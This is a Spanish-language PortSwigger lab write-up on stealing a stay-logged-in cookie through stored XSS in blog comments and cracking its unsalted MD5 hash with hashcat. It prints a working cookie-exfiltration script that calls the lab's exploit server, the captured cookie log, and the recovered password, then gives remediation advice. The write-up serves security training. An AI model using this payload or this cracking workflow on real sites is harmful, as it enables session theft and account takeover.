← Writeups

Offline Password Cracking — Stay-Logged-In Cookie via Stored XSS — PortSwigger Lab

Robo de la cookie stay-logged-in (base64(user:md5(password))) de carlos mediante XSS almacenado en comentarios y cracking offline del hash MD5.

Offline Password Cracking (Stay-Logged-In Cookie)

1. Target Overview & Vulnerability Summary

Campo Valor
Severidad Alta
Endpoint vulnerable Sección de comentarios de un post (XSS almacenado)
Root cause Cookie stay-logged-in con formato predecible base64(user:md5(password)) + falta de sanitización del input en comentarios

La cookie de sesión persistente codifica el usuario y el hash MD5 de la contraseña sin ningún secreto: base64(usuario:md5(password)). Un XSS almacenado en la sección de comentarios permite exfiltrar la cookie de la víctima carlos; al estar el hash sin salt, el material robado se puede romper offline.

2. Technical Breakdown & Exploitation Flow

2.1 Payload de XSS almacenado

El campo de comentario permite cerrar el <textarea> e inyectar JavaScript que exfiltra las cookies hacia el exploit server:

</textarea><script>document.location="https://exploit-0a5a00bf04bcabbec18d021e016f00be.exploit-server.net/exploit?" + document.cookie</script>

2.2 Captura de la cookie en el exploit server

El log del servidor de explotación registra la cookie stay-logged-in en la querystring:

10.0.4.117      2026-02-15 00:10:29 +0000 "GET /exploit?secret=lhoqWftb49sk3Fk06x6l2KYAZBnysPWb;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

Decodificando el valor en base64 se obtiene el par usuario:hash:

$ echo -n 'Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz' | base64 -d
carlos:26323c16d5f4dabff3bb136f2460a943

2.3 Cracking offline del hash MD5

El hash 26323c16d5f4dabff3bb136f2460a943 es MD5 sin salt; se rompe con hashcat, john o servicios como CrackStation:

hashcat -m 0 -a 0 carlos.hash rockyou.txt

La contraseña recuperada es onceuponatime, con la que se inicia sesión como carlos.

3. Root Cause Analysis

Dos defectos encadenados explican el compromiso:

  1. Predictability of the persistente session token: el backend construye la cookie como base64(username + ":" + md5(password)). No hay HMAC ni secret; cualquiera que conozca el formato puede forjar la cookie de cualquier usuario (ver Brute-forcing a stay-logged-in cookie).
  2. Stored XSS en comentarios: el contenido del comentario se renderiza sin sanitizar, permitiendo </textarea><script>..., lo que convierte el robo de cookie en una operación trivial contra el navegador de la víctima.
# Implementación vulnerable
stay_logged_in = base64(username + ":" + md5(password))   # ❌ Sin secreto ni HMAC
# ...y el comentario se renderiza como HTML sin sanitización

4. Secure Remediation

Sustituir el token por un valor impredecible y verificable, y sanitizar el input:

# Token de sesión persistente seguro
session_token = base64(username) + "." + hmac_sha256(secret, username + session_id)

# Sanitización del comentario (especificación OWASP XSS Prevention)
escaped = html_encode(comment.text)   # escapa < > & " ' antes de renderizar

El hash MD5 sin salt nunca debe emplearse para almacenar contraseñas: usar argon2id/bcrypt/scrypt con salt aleatorio por usuario.